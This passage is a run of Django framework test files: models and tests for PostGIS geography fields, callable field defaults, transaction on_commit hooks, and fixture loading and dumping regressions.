    objects = models.GeoManager()

    class Meta:
        abstract = True
        required_db_features = ['gis_enabled']

    def __str__(self):
        return self.name


class City(NamedModel):
    point = models.PointField(geography=True)

    class Meta:
        app_label = 'geogapp'
        required_db_features = ['gis_enabled']


class Zipcode(NamedModel):
    code = models.CharField(max_length=10)
    poly = models.PolygonField(geography=True)


class County(NamedModel):
    state = models.CharField(max_length=20)
    mpoly = models.MultiPolygonField(geography=True)

    class Meta:
        app_label = 'geogapp'
        required_db_features = ['gis_enabled']

    def __str__(self):
        return ' County, '.join([self.name, self.state])












"""
Tests for geography support in PostGIS
"""
from __future__ import unicode_literals

import os
from unittest import skipUnless

from django.contrib.gis.db import models
from django.contrib.gis.db.models.functions import Area, Distance
from django.contrib.gis.measure import D
from django.db import connection
from django.db.models.functions import Cast
from django.test import TestCase, ignore_warnings, skipUnlessDBFeature
from django.utils._os import upath
from django.utils.deprecation import RemovedInDjango20Warning

from ..utils import oracle, postgis
from .models import City, County, Zipcode


@skipUnlessDBFeature("gis_enabled")
class GeographyTest(TestCase):
    fixtures = ['initial']

    def test01_fixture_load(self):
        "Ensure geography features loaded properly."
        self.assertEqual(8, City.objects.count())

    @skipUnlessDBFeature("supports_distances_lookups", "supports_distance_geodetic")
    def test02_distance_lookup(self):
        "Testing GeoQuerySet distance lookup support on non-point geography fields."
        z = Zipcode.objects.get(code='77002')
        cities1 = list(City.objects
                       .filter(point__distance_lte=(z.poly, D(mi=500)))
                       .order_by('name')
                       .values_list('name', flat=True))
        cities2 = list(City.objects
                       .filter(point__dwithin=(z.poly, D(mi=500)))
                       .order_by('name')
                       .values_list('name', flat=True))
        for cities in [cities1, cities2]:
            self.assertEqual(['Dallas', 'Houston', 'Oklahoma City'], cities)

    @skipUnlessDBFeature("has_distance_method", "supports_distance_geodetic")
    @ignore_warnings(category=RemovedInDjango20Warning)
    def test03_distance_method(self):
        "Testing GeoQuerySet.distance() support on non-point geography fields."
        # `GeoQuerySet.distance` is not allowed geometry fields.
        htown = City.objects.get(name='Houston')
        Zipcode.objects.distance(htown.point)

    @skipUnless(postgis, "This is a PostGIS-specific test")
    def test04_invalid_operators_functions(self):
        "Ensuring exceptions are raised for operators & functions invalid on geography fields."
        # Only a subset of the geometry functions & operator are available
        # to PostGIS geography types.  For more information, visit:
        # http://postgis.refractions.net/documentation/manual-1.5/ch08.html#PostGIS_GeographyFunctions
        z = Zipcode.objects.get(code='77002')
        # ST_Within not available.
        with self.assertRaises(ValueError):
            City.objects.filter(point__within=z.poly).count()
        # `@` operator not available.
        with self.assertRaises(ValueError):
            City.objects.filter(point__contained=z.poly).count()

        # Regression test for #14060, `~=` was never really implemented for PostGIS.
        htown = City.objects.get(name='Houston')
        with self.assertRaises(ValueError):
            City.objects.get(point__exact=htown.point)

    def test05_geography_layermapping(self):
        "Testing LayerMapping support on models with geography fields."
        # There is a similar test in `layermap` that uses the same data set,
        # but the County model here is a bit different.
        from django.contrib.gis.utils import LayerMapping

        # Getting the shapefile and mapping dictionary.
        shp_path = os.path.realpath(os.path.join(os.path.dirname(upath(__file__)), '..', 'data'))
        co_shp = os.path.join(shp_path, 'counties', 'counties.shp')
        co_mapping = {'name': 'Name',
                      'state': 'State',
                      'mpoly': 'MULTIPOLYGON',
                      }

        # Reference county names, number of polygons, and state names.
        names = ['Bexar', 'Galveston', 'Harris', 'Honolulu', 'Pueblo']
        num_polys = [1, 2, 1, 19, 1]  # Number of polygons for each.
        st_names = ['Texas', 'Texas', 'Texas', 'Hawaii', 'Colorado']

        lm = LayerMapping(County, co_shp, co_mapping, source_srs=4269, unique='name')
        lm.save(silent=True, strict=True)

        for c, name, num_poly, state in zip(County.objects.order_by('name'), names, num_polys, st_names):
            self.assertEqual(4326, c.mpoly.srid)
            self.assertEqual(num_poly, len(c.mpoly))
            self.assertEqual(name, c.name)
            self.assertEqual(state, c.state)

    @skipUnlessDBFeature("has_area_method", "supports_distance_geodetic")
    @ignore_warnings(category=RemovedInDjango20Warning)
    def test06_geography_area(self):
        "Testing that Area calculations work on geography columns."
        # SELECT ST_Area(poly) FROM geogapp_zipcode WHERE code='77002';
        z = Zipcode.objects.area().get(code='77002')
        # Round to the nearest thousand as possible values (depending on
        # the database and geolib) include 5439084, 5439100, 5439101.
        rounded_value = z.area.sq_m
        rounded_value -= z.area.sq_m % 1000
        self.assertEqual(rounded_value, 5439000)


@skipUnlessDBFeature("gis_enabled")
class GeographyFunctionTests(TestCase):
    fixtures = ['initial']

    @skipUnlessDBFeature("supports_extent_aggr")
    def test_cast_aggregate(self):
        """
        Cast a geography to a geometry field for an aggregate function that
        expects a geometry input.
        """
        if not connection.ops.geography:
            self.skipTest("This test needs geography support")
        expected = (-96.8016128540039, 29.7633724212646, -95.3631439208984, 32.782058715820)
        res = City.objects.filter(
            name__in=('Houston', 'Dallas')
        ).aggregate(extent=models.Extent(Cast('point', models.PointField())))
        for val, exp in zip(res['extent'], expected):
            self.assertAlmostEqual(exp, val, 4)

    @skipUnlessDBFeature("has_Distance_function", "supports_distance_geodetic")
    def test_distance_function(self):
        """
        Testing Distance() support on non-point geography fields.
        """
        if oracle:
            ref_dists = [0, 4899.68, 8081.30, 9115.15]
        else:
            ref_dists = [0, 4891.20, 8071.64, 9123.95]
        htown = City.objects.get(name='Houston')
        qs = Zipcode.objects.annotate(distance=Distance('poly', htown.point))
        for z, ref in zip(qs, ref_dists):
            self.assertAlmostEqual(z.distance.m, ref, 2)
        # Distance function in combination with a lookup.
        hzip = Zipcode.objects.get(code='77002')
        self.assertEqual(qs.get(distance__lte=0), hzip)

    @skipUnlessDBFeature("has_Area_function", "supports_distance_geodetic")
    def test_geography_area(self):
        """
        Testing that Area calculations work on geography columns.
        """
        # SELECT ST_Area(poly) FROM geogapp_zipcode WHERE code='77002';
        z = Zipcode.objects.annotate(area=Area('poly')).get(code='77002')
        # Round to the nearest thousand as possible values (depending on
        # the database and geolib) include 5439084, 5439100, 5439101.
        rounded_value = z.area.sq_m
        rounded_value -= z.area.sq_m % 1000
        self.assertEqual(rounded_value, 5439000)






# coding: utf-8
"""
Callable defaults

You can pass callable objects as the ``default`` parameter to a field. When
the object is created without an explicit value passed in, Django will call
the method to determine the default value.

This example uses ``datetime.datetime.now`` as the default for the ``pub_date``
field.
"""

from datetime import datetime

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Article(models.Model):
    headline = models.CharField(max_length=100, default='Default headline')
    pub_date = models.DateTimeField(default=datetime.now)

    def __str__(self):
        return self.headline












from datetime import datetime

from django.test import TestCase
from django.utils import six

from .models import Article


class DefaultTests(TestCase):
    def test_field_defaults(self):
        a = Article()
        now = datetime.now()
        a.save()

        self.assertIsInstance(a.id, six.integer_types)
        self.assertEqual(a.headline, "Default headline")
        self.assertLess((now - a.pub_date).seconds, 5)






from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Thing(models.Model):
    num = models.IntegerField()

    def __str__(self):
        return "Thing %d" % self.num












from django.db import connection, transaction
from django.test import TransactionTestCase, skipUnlessDBFeature

from .models import Thing


class ForcedError(Exception):
    pass


class TestConnectionOnCommit(TransactionTestCase):
    """
    Tests for transaction.on_commit().

    Creation/checking of database objects in parallel with callback tracking is
    to verify that the behavior of the two match in all tested cases.
    """
    available_apps = ['transaction_hooks']

    def setUp(self):
        self.notified = []

    def notify(self, id_):
        if id_ == 'error':
            raise ForcedError()
        self.notified.append(id_)

    def do(self, num):
        """Create a Thing instance and notify about it."""
        Thing.objects.create(num=num)
        transaction.on_commit(lambda: self.notify(num))

    def assertDone(self, nums):
        self.assertNotified(nums)
        self.assertEqual(sorted(t.num for t in Thing.objects.all()), sorted(nums))

    def assertNotified(self, nums):
        self.assertEqual(self.notified, nums)

    def test_executes_immediately_if_no_transaction(self):
        self.do(1)
        self.assertDone([1])

    def test_delays_execution_until_after_transaction_commit(self):
        with transaction.atomic():
            self.do(1)
            self.assertNotified([])
        self.assertDone([1])

    def test_does_not_execute_if_transaction_rolled_back(self):
        try:
            with transaction.atomic():
                self.do(1)
                raise ForcedError()
        except ForcedError:
            pass

        self.assertDone([])

    def test_executes_only_after_final_transaction_committed(self):
        with transaction.atomic():
            with transaction.atomic():
                self.do(1)
                self.assertNotified([])
            self.assertNotified([])
        self.assertDone([1])

    def test_discards_hooks_from_rolled_back_savepoint(self):
        with transaction.atomic():
            # one successful savepoint
            with transaction.atomic():
                self.do(1)
            # one failed savepoint
            try:
                with transaction.atomic():
                    self.do(2)
                    raise ForcedError()
            except ForcedError:
                pass
            # another successful savepoint
            with transaction.atomic():
                self.do(3)

        # only hooks registered during successful savepoints execute
        self.assertDone([1, 3])

    def test_no_hooks_run_from_failed_transaction(self):
        """If outer transaction fails, no hooks from within it run."""
        try:
            with transaction.atomic():
                with transaction.atomic():
                    self.do(1)
                raise ForcedError()
        except ForcedError:
            pass

        self.assertDone([])

    def test_inner_savepoint_rolled_back_with_outer(self):
        with transaction.atomic():
            try:
                with transaction.atomic():
                    with transaction.atomic():
                        self.do(1)
                    raise ForcedError()
            except ForcedError:
                pass
            self.do(2)

        self.assertDone([2])

    def test_no_savepoints_atomic_merged_with_outer(self):
        with transaction.atomic():
            with transaction.atomic():
                self.do(1)
                try:
                    with transaction.atomic(savepoint=False):
                        raise ForcedError()
                except ForcedError:
                    pass

        self.assertDone([])

    def test_inner_savepoint_does_not_affect_outer(self):
        with transaction.atomic():
            with transaction.atomic():
                self.do(1)
                try:
                    with transaction.atomic():
                        raise ForcedError()
                except ForcedError:
                    pass

        self.assertDone([1])

    def test_runs_hooks_in_order_registered(self):
        with transaction.atomic():
            self.do(1)
            with transaction.atomic():
                self.do(2)
            self.do(3)

        self.assertDone([1, 2, 3])

    def test_hooks_cleared_after_successful_commit(self):
        with transaction.atomic():
            self.do(1)
        with transaction.atomic():
            self.do(2)

        self.assertDone([1, 2])  # not [1, 1, 2]

    def test_hooks_cleared_after_rollback(self):
        try:
            with transaction.atomic():
                self.do(1)
                raise ForcedError()
        except ForcedError:
            pass

        with transaction.atomic():
            self.do(2)

        self.assertDone([2])

    @skipUnlessDBFeature('test_db_allows_multiple_connections')
    def test_hooks_cleared_on_reconnect(self):
        with transaction.atomic():
            self.do(1)
            connection.close()

        connection.connect()

        with transaction.atomic():
            self.do(2)

        self.assertDone([2])

    def test_error_in_hook_doesnt_prevent_clearing_hooks(self):
        try:
            with transaction.atomic():
                transaction.on_commit(lambda: self.notify('error'))
        except ForcedError:
            pass

        with transaction.atomic():
            self.do(1)

        self.assertDone([1])

    def test_db_query_in_hook(self):
        with transaction.atomic():
            Thing.objects.create(num=1)
            transaction.on_commit(
                lambda: [self.notify(t.num) for t in Thing.objects.all()]
            )

        self.assertDone([1])

    def test_transaction_in_hook(self):
        def on_commit():
            with transaction.atomic():
                t = Thing.objects.create(num=1)
                self.notify(t.num)

        with transaction.atomic():
            transaction.on_commit(on_commit)

        self.assertDone([1])

    def test_hook_in_hook(self):
        def on_commit(i, add_hook):
            with transaction.atomic():
                if add_hook:
                    transaction.on_commit(lambda: on_commit(i + 10, False))
                t = Thing.objects.create(num=i)
                self.notify(t.num)

        with transaction.atomic():
            transaction.on_commit(lambda: on_commit(1, True))
            transaction.on_commit(lambda: on_commit(2, True))

        self.assertDone([1, 11, 2, 12])

    def test_raises_exception_non_autocommit_mode(self):
        def should_never_be_called():
            raise AssertionError('this function should never be called')

        try:
            connection.set_autocommit(False)
            with self.assertRaises(transaction.TransactionManagementError):
                transaction.on_commit(should_never_be_called)
        finally:
            connection.set_autocommit(True)






from __future__ import unicode_literals

from django.contrib.auth.models import User
from django.db import models
from django.utils import six
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Animal(models.Model):
    name = models.CharField(max_length=150)
    latin_name = models.CharField(max_length=150)
    count = models.IntegerField()
    weight = models.FloatField()

    # use a non-default name for the default manager
    specimens = models.Manager()

    def __str__(self):
        return self.name


class Plant(models.Model):
    name = models.CharField(max_length=150)

    class Meta:
        # For testing when upper case letter in app name; regression for #4057
        db_table = "Fixtures_regress_plant"


@python_2_unicode_compatible
class Stuff(models.Model):
    name = models.CharField(max_length=20, null=True)
    owner = models.ForeignKey(User, models.SET_NULL, null=True)

    def __str__(self):
        return six.text_type(self.name) + ' is owned by ' + six.text_type(self.owner)


class Absolute(models.Model):
    name = models.CharField(max_length=40)


class Parent(models.Model):
    name = models.CharField(max_length=10)

    class Meta:
        ordering = ('id',)


class Child(Parent):
    data = models.CharField(max_length=10)


# Models to regression test #7572, #20820
class Channel(models.Model):
    name = models.CharField(max_length=255)


class Article(models.Model):
    title = models.CharField(max_length=255)
    channels = models.ManyToManyField(Channel)

    class Meta:
        ordering = ('id',)


# Subclass of a model with a ManyToManyField for test_ticket_20820
class SpecialArticle(Article):
    pass


# Models to regression test #22421
class CommonFeature(Article):

    class Meta:
        abstract = True


class Feature(CommonFeature):
    pass


# Models to regression test #11428
@python_2_unicode_compatible
class Widget(models.Model):
    name = models.CharField(max_length=255)

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name


class WidgetProxy(Widget):
    class Meta:
        proxy = True


# Check for forward references in FKs and M2Ms with natural keys
class TestManager(models.Manager):
    def get_by_natural_key(self, key):
        return self.get(name=key)


@python_2_unicode_compatible
class Store(models.Model):
    objects = TestManager()
    name = models.CharField(max_length=255)
    main = models.ForeignKey('self', models.SET_NULL, null=True)

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name

    def natural_key(self):
        return (self.name,)


@python_2_unicode_compatible
class Person(models.Model):
    objects = TestManager()
    name = models.CharField(max_length=255)

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name

    # Person doesn't actually have a dependency on store, but we need to define
    # one to test the behavior of the dependency resolution algorithm.
    def natural_key(self):
        return (self.name,)
    natural_key.dependencies = ['fixtures_regress.store']


@python_2_unicode_compatible
class Book(models.Model):
    name = models.CharField(max_length=255)
    author = models.ForeignKey(Person, models.CASCADE)
    stores = models.ManyToManyField(Store)

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return '%s by %s (available at %s)' % (
            self.name,
            self.author.name,
            ', '.join(s.name for s in self.stores.all())
        )


class NKManager(models.Manager):
    def get_by_natural_key(self, data):
        return self.get(data=data)


@python_2_unicode_compatible
class NKChild(Parent):
    data = models.CharField(max_length=10, unique=True)
    objects = NKManager()

    def natural_key(self):
        return (self.data,)

    def __str__(self):
        return 'NKChild %s:%s' % (self.name, self.data)


@python_2_unicode_compatible
class RefToNKChild(models.Model):
    text = models.CharField(max_length=10)
    nk_fk = models.ForeignKey(NKChild, models.CASCADE, related_name='ref_fks')
    nk_m2m = models.ManyToManyField(NKChild, related_name='ref_m2ms')

    def __str__(self):
        return '%s: Reference to %s [%s]' % (
            self.text,
            self.nk_fk,
            ', '.join(str(o) for o in self.nk_m2m.all())
        )


# ome models with pathological circular dependencies
class Circle1(models.Model):
    name = models.CharField(max_length=255)

    def natural_key(self):
        return (self.name,)
    natural_key.dependencies = ['fixtures_regress.circle2']


class Circle2(models.Model):
    name = models.CharField(max_length=255)

    def natural_key(self):
        return (self.name,)
    natural_key.dependencies = ['fixtures_regress.circle1']


class Circle3(models.Model):
    name = models.CharField(max_length=255)

    def natural_key(self):
        return (self.name,)
    natural_key.dependencies = ['fixtures_regress.circle3']


class Circle4(models.Model):
    name = models.CharField(max_length=255)

    def natural_key(self):
        return (self.name,)
    natural_key.dependencies = ['fixtures_regress.circle5']


class Circle5(models.Model):
    name = models.CharField(max_length=255)

    def natural_key(self):
        return (self.name,)
    natural_key.dependencies = ['fixtures_regress.circle6']


class Circle6(models.Model):
    name = models.CharField(max_length=255)

    def natural_key(self):
        return (self.name,)
    natural_key.dependencies = ['fixtures_regress.circle4']


class ExternalDependency(models.Model):
    name = models.CharField(max_length=255)

    def natural_key(self):
        return (self.name,)
    natural_key.dependencies = ['fixtures_regress.book']


# Model for regression test of #11101
class Thingy(models.Model):
    name = models.CharField(max_length=255)


class M2MToSelf(models.Model):
    parent = models.ManyToManyField("self", blank=True)


@python_2_unicode_compatible
class BaseNKModel(models.Model):
    """
    Base model with a natural_key and a manager with `get_by_natural_key`
    """
    data = models.CharField(max_length=20, unique=True)
    objects = NKManager()

    class Meta:
        abstract = True

    def __str__(self):
        return self.data

    def natural_key(self):
        return (self.data,)


class M2MSimpleA(BaseNKModel):
    b_set = models.ManyToManyField("M2MSimpleB")


class M2MSimpleB(BaseNKModel):
    pass


class M2MSimpleCircularA(BaseNKModel):
    b_set = models.ManyToManyField("M2MSimpleCircularB")


class M2MSimpleCircularB(BaseNKModel):
    a_set = models.ManyToManyField("M2MSimpleCircularA")


class M2MComplexA(BaseNKModel):
    b_set = models.ManyToManyField("M2MComplexB", through="M2MThroughAB")


class M2MComplexB(BaseNKModel):
    pass


class M2MThroughAB(BaseNKModel):
    a = models.ForeignKey(M2MComplexA, models.CASCADE)
    b = models.ForeignKey(M2MComplexB, models.CASCADE)


class M2MComplexCircular1A(BaseNKModel):
    b_set = models.ManyToManyField("M2MComplexCircular1B",
                                   through="M2MCircular1ThroughAB")


class M2MComplexCircular1B(BaseNKModel):
    c_set = models.ManyToManyField("M2MComplexCircular1C",
                                   through="M2MCircular1ThroughBC")


class M2MComplexCircular1C(BaseNKModel):
    a_set = models.ManyToManyField("M2MComplexCircular1A",
                                   through="M2MCircular1ThroughCA")


class M2MCircular1ThroughAB(BaseNKModel):
    a = models.ForeignKey(M2MComplexCircular1A, models.CASCADE)
    b = models.ForeignKey(M2MComplexCircular1B, models.CASCADE)


class M2MCircular1ThroughBC(BaseNKModel):
    b = models.ForeignKey(M2MComplexCircular1B, models.CASCADE)
    c = models.ForeignKey(M2MComplexCircular1C, models.CASCADE)


class M2MCircular1ThroughCA(BaseNKModel):
    c = models.ForeignKey(M2MComplexCircular1C, models.CASCADE)
    a = models.ForeignKey(M2MComplexCircular1A, models.CASCADE)


class M2MComplexCircular2A(BaseNKModel):
    b_set = models.ManyToManyField("M2MComplexCircular2B",
                                   through="M2MCircular2ThroughAB")


class M2MComplexCircular2B(BaseNKModel):
    def natural_key(self):
        return (self.data,)
    # Fake the dependency for a circularity
    natural_key.dependencies = ["fixtures_regress.M2MComplexCircular2A"]


class M2MCircular2ThroughAB(BaseNKModel):
    a = models.ForeignKey(M2MComplexCircular2A, models.CASCADE)
    b = models.ForeignKey(M2MComplexCircular2B, models.CASCADE)












# -*- coding: utf-8 -*-
# Unittests for fixtures.
from __future__ import unicode_literals

import json
import os
import re
import unittest
import warnings

import django
from django.core import management, serializers
from django.core.exceptions import ImproperlyConfigured
from django.core.serializers.base import DeserializationError
from django.db import IntegrityError, transaction
from django.db.models import signals
from django.test import (
    TestCase, TransactionTestCase, override_settings, skipIfDBFeature,
    skipUnlessDBFeature,
)
from django.utils import six
from django.utils._os import upath
from django.utils.six import PY3, StringIO

from .models import (
    Absolute, Animal, Article, Book, Child, Circle1, Circle2, Circle3,
    ExternalDependency, M2MCircular1ThroughAB, M2MCircular1ThroughBC,
    M2MCircular1ThroughCA, M2MCircular2ThroughAB, M2MComplexA, M2MComplexB,
    M2MComplexCircular1A, M2MComplexCircular1B, M2MComplexCircular1C,
    M2MComplexCircular2A, M2MComplexCircular2B, M2MSimpleA, M2MSimpleB,
    M2MSimpleCircularA, M2MSimpleCircularB, M2MThroughAB, NKChild, Parent,
    Person, RefToNKChild, Store, Stuff, Thingy, Widget,
)

_cur_dir = os.path.dirname(os.path.abspath(upath(__file__)))


def is_ascii(s):
    return all(ord(c) < 128 for c in s)


skipIfNonASCIIPath = unittest.skipIf(
    not is_ascii(django.__file__) and six.PY2,
    'Python 2 crashes when checking non-ASCII exception messages.'
)


class TestFixtures(TestCase):

    def animal_pre_save_check(self, signal, sender, instance, **kwargs):
        self.pre_save_checks.append(
            (
                'Count = %s (%s)' % (instance.count, type(instance.count)),
                'Weight = %s (%s)' % (instance.weight, type(instance.weight)),
            )
        )

    def test_duplicate_pk(self):
        """
        This is a regression test for ticket #3790.
        """
        # Load a fixture that uses PK=1
        management.call_command(
            'loaddata',
            'sequence',
            verbosity=0,
        )

        # Create a new animal. Without a sequence reset, this new object
        # will take a PK of 1 (on Postgres), and the save will fail.

        animal = Animal(
            name='Platypus',
            latin_name='Ornithorhynchus anatinus',
            count=2,
            weight=2.2,
        )
        animal.save()
        self.assertGreater(animal.id, 1)

    def test_loaddata_not_found_fields_not_ignore(self):
        """
        Test for ticket #9279 -- Error is raised for entries in
        the serialized data for fields that have been removed
        from the database when not ignored.
        """
        with self.assertRaises(DeserializationError):
            management.call_command(
                'loaddata',
                'sequence_extra',
                verbosity=0,
            )

    def test_loaddata_not_found_fields_ignore(self):
        """
        Test for ticket #9279 -- Ignores entries in
        the serialized data for fields that have been removed
        from the database.
        """
        management.call_command(
            'loaddata',
            'sequence_extra',
            ignore=True,
            verbosity=0,
        )
        self.assertEqual(Animal.specimens.all()[0].name, 'Lion')

    def test_loaddata_not_found_fields_ignore_xml(self):
        """
        Test for ticket #19998 -- Ignore entries in the XML serialized data
        for fields that have been removed from the model definition.
        """
        management.call_command(
            'loaddata',
            'sequence_extra_xml',
            ignore=True,
            verbosity=0,
        )
        self.assertEqual(Animal.specimens.all()[0].name, 'Wolf')

    @skipIfDBFeature('interprets_empty_strings_as_nulls')
    def test_pretty_print_xml(self):
        """
        Regression test for ticket #4558 -- pretty printing of XML fixtures
        doesn't affect parsing of None values.
        """
        # Load a pretty-printed XML fixture with Nulls.
        management.call_command(
            'loaddata',
            'pretty.xml',
            verbosity=0,
        )
        self.assertIsNone(Stuff.objects.all()[0].name)
        self.assertIsNone(Stuff.objects.all()[0].owner)

    @skipUnlessDBFeature('interprets_empty_strings_as_nulls')
    def test_pretty_print_xml_empty_strings(self):
        """
        Regression test for ticket #4558 -- pretty printing of XML fixtures
        doesn't affect parsing of None values.
        """
        # Load a pretty-printed XML fixture with Nulls.
        management.call_command(
            'loaddata',
            'pretty.xml',
            verbosity=0,
        )
        self.assertEqual(Stuff.objects.all()[0].name, '')
        self.assertIsNone(Stuff.objects.all()[0].owner)

    def test_absolute_path(self):
        """
        Regression test for ticket #6436 --
        os.path.join will throw away the initial parts of a path if it
        encounters an absolute path.
        This means that if a fixture is specified as an absolute path,
        we need to make sure we don't discover the absolute path in every
        fixture directory.
        """
        load_absolute_path = os.path.join(
            os.path.dirname(upath(__file__)),
            'fixtures',
            'absolute.json'
        )
        management.call_command(
            'loaddata',
            load_absolute_path,
            verbosity=0,
        )
        self.assertEqual(Absolute.objects.count(), 1)

    def test_relative_path(self, path=['fixtures', 'absolute.json']):
        relative_path = os.path.join(*path)
        cwd = os.getcwd()
        try:
            os.chdir(_cur_dir)
            management.call_command(
                'loaddata',
                relative_path,
                verbosity=0,
            )
        finally:
            os.chdir(cwd)
        self.assertEqual(Absolute.objects.count(), 1)

    @override_settings(FIXTURE_DIRS=[os.path.join(_cur_dir, 'fixtures_1')])
    def test_relative_path_in_fixture_dirs(self):
        self.test_relative_path(path=['inner', 'absolute.json'])

    def test_path_containing_dots(self):
        management.call_command(
            'loaddata',
            'path.containing.dots.json',
            verbosity=0,
        )
        self.assertEqual(Absolute.objects.count(), 1)

    def test_unknown_format(self):
        """
        Test for ticket #4371 -- Loading data of an unknown format should fail
        Validate that error conditions are caught correctly
        """
        msg = "Problem installing fixture 'bad_fixture1': unkn is not a known serialization format."
        with self.assertRaisesMessage(management.CommandError, msg):
            management.call_command(
                'loaddata',
                'bad_fixture1.unkn',
                verbosity=0,
            )

    @skipIfNonASCIIPath
    @override_settings(SERIALIZATION_MODULES={'unkn': 'unexistent.path'})
    def test_unimportable_serializer(self):
        """
        Test that failing serializer import raises the proper error
        """
        with six.assertRaisesRegex(self, ImportError, r"No module named.*unexistent"):
            management.call_command(
                'loaddata',
                'bad_fixture1.unkn',
                verbosity=0,
            )

    def test_invalid_data(self):
        """
        Test for ticket #4371 -- Loading a fixture file with invalid data
        using explicit filename.
        Test for ticket #18213 -- warning conditions are caught correctly
        """
        with warnings.catch_warnings(record=True) as warning_list:
            warnings.simplefilter("always")
            management.call_command(
                'loaddata',
                'bad_fixture2.xml',
                verbosity=0,
            )
            warning = warning_list.pop()
            self.assertEqual(warning.category, RuntimeWarning)
            self.assertEqual(
                str(warning.message),
                "No fixture data found for 'bad_fixture2'. (File format may be invalid.)"
            )

    def test_invalid_data_no_ext(self):
        """
        Test for ticket #4371 -- Loading a fixture file with invalid data
        without file extension.
        Test for ticket #18213 -- warning conditions are caught correctly
        """
        with warnings.catch_warnings(record=True) as warning_list:
            warnings.simplefilter("always")
            management.call_command(
                'loaddata',
                'bad_fixture2',
                verbosity=0,
            )
            warning = warning_list.pop()
            self.assertEqual(warning.category, RuntimeWarning)
            self.assertEqual(
                str(warning.message),
                "No fixture data found for 'bad_fixture2'. (File format may be invalid.)"
            )

    def test_empty(self):
        """
        Test for ticket #18213 -- Loading a fixture file with no data output a warning.
        Previously empty fixture raises an error exception, see ticket #4371.
        """
        with warnings.catch_warnings(record=True) as warning_list:
            warnings.simplefilter("always")
            management.call_command(
                'loaddata',
                'empty',
                verbosity=0,
            )
            warning = warning_list.pop()
            self.assertEqual(warning.category, RuntimeWarning)
            self.assertEqual(str(warning.message), "No fixture data found for 'empty'. (File format may be invalid.)")

    def test_error_message(self):
        """
        Regression for #9011 - error message is correct.
        Change from error to warning for ticket #18213.
        """
        with warnings.catch_warnings(record=True) as warning_list:
            warnings.simplefilter("always")
            management.call_command(
                'loaddata',
                'bad_fixture2',
                'animal',
                verbosity=0,
            )
            warning = warning_list.pop()
            self.assertEqual(warning.category, RuntimeWarning)
            self.assertEqual(
                str(warning.message),
                "No fixture data found for 'bad_fixture2'. (File format may be invalid.)"
            )

    def test_pg_sequence_resetting_checks(self):
        """
        Test for ticket #7565 -- PostgreSQL sequence resetting checks shouldn't
        ascend to parent models when inheritance is used
        (since they are treated individually).
        """
        management.call_command(
            'loaddata',
            'model-inheritance.json',
            verbosity=0,
        )
        self.assertEqual(Parent.objects.all()[0].id, 1)
        self.assertEqual(Child.objects.all()[0].id, 1)

    def test_close_connection_after_loaddata(self):
        """
        Test for ticket #7572 -- MySQL has a problem if the same connection is
        used to create tables, load data, and then query over that data.
        To compensate, we close the connection after running loaddata.
        This ensures that a new connection is opened when test queries are
        issued.
        """
        management.call_command(
            'loaddata',
            'big-fixture.json',
            verbosity=0,
        )
        articles = Article.objects.exclude(id=9)
        self.assertEqual(
            list(articles.values_list('id', flat=True)),
            [1, 2, 3, 4, 5, 6, 7, 8]
        )
        # Just for good measure, run the same query again.
        # Under the influence of ticket #7572, this will
        # give a different result to the previous call.
        self.assertEqual(
            list(articles.values_list('id', flat=True)),
            [1, 2, 3, 4, 5, 6, 7, 8]
        )

    def test_field_value_coerce(self):
        """
        Test for tickets #8298, #9942 - Field values should be coerced into the
        correct type by the deserializer, not as part of the database write.
        """
        self.pre_save_checks = []
        signals.pre_save.connect(self.animal_pre_save_check)
        try:
            management.call_command(
                'loaddata',
                'animal.xml',
                verbosity=0,
            )
            self.assertEqual(
                self.pre_save_checks,
                [
                    ("Count = 42 (<%s 'int'>)" % ('class' if PY3 else 'type'),
                     "Weight = 1.2 (<%s 'float'>)" % ('class' if PY3 else 'type'))
                ]
            )
        finally:
            signals.pre_save.disconnect(self.animal_pre_save_check)

    def test_dumpdata_uses_default_manager(self):
        """
        Regression for #11286
        Ensure that dumpdata honors the default manager
        Dump the current contents of the database as a JSON fixture
        """
        management.call_command(
            'loaddata',
            'animal.xml',
            verbosity=0,
        )
        management.call_command(
            'loaddata',
            'sequence.json',
            verbosity=0,
        )
        animal = Animal(
            name='Platypus',
            latin_name='Ornithorhynchus anatinus',
            count=2,
            weight=2.2,
        )
        animal.save()

        out = StringIO()
        management.call_command(
            'dumpdata',
            'fixtures_regress.animal',
            format='json',
            stdout=out,
        )

        # Output order isn't guaranteed, so check for parts
        data = out.getvalue()

        # Get rid of artifacts like '000000002' to eliminate the differences
        # between different Python versions.
        data = re.sub('0{6,}[0-9]', '', data)

        animals_data = sorted([
            {
                "pk": 1, "model": "fixtures_regress.animal",
                "fields": {"count": 3, "weight": 1.2, "name": "Lion", "latin_name": "Panthera leo"}
            },
            {
                "pk": 10, "model": "fixtures_regress.animal",
                "fields": {"count": 42, "weight": 1.2, "name": "Emu", "latin_name": "Dromaius novaehollandiae"}
            },
            {
                "pk": animal.pk, "model": "fixtures_regress.animal",
                "fields": {"count": 2, "weight": 2.2, "name": "Platypus", "latin_name": "Ornithorhynchus anatinus"}
            },
        ], key=lambda x: x["pk"])

        data = sorted(json.loads(data), key=lambda x: x["pk"])

        self.maxDiff = 1024
        self.assertEqual(data, animals_data)

    def test_proxy_model_included(self):
        """
        Regression for #11428 - Proxy models aren't included when you dumpdata
        """
        out = StringIO()
        # Create an instance of the concrete class
        widget = Widget.objects.create(name='grommet')
        management.call_command(
            'dumpdata',
            'fixtures_regress.widget',
            'fixtures_regress.widgetproxy',
            format='json',
            stdout=out,
        )
        self.assertJSONEqual(
            out.getvalue(),
            """[{"pk": %d, "model": "fixtures_regress.widget", "fields": {"name": "grommet"}}]"""
            % widget.pk
        )

    @skipUnlessDBFeature('supports_forward_references')
    def test_loaddata_works_when_fixture_has_forward_refs(self):
        """
        Regression for #3615 - Forward references cause fixtures not to load in MySQL (InnoDB)
        """
        management.call_command(
            'loaddata',
            'forward_ref.json',
            verbosity=0,
        )
        self.assertEqual(Book.objects.all()[0].id, 1)
        self.assertEqual(Person.objects.all()[0].id, 4)

    def test_loaddata_raises_error_when_fixture_has_invalid_foreign_key(self):
        """
        Regression for #3615 - Ensure data with nonexistent child key references raises error
        """
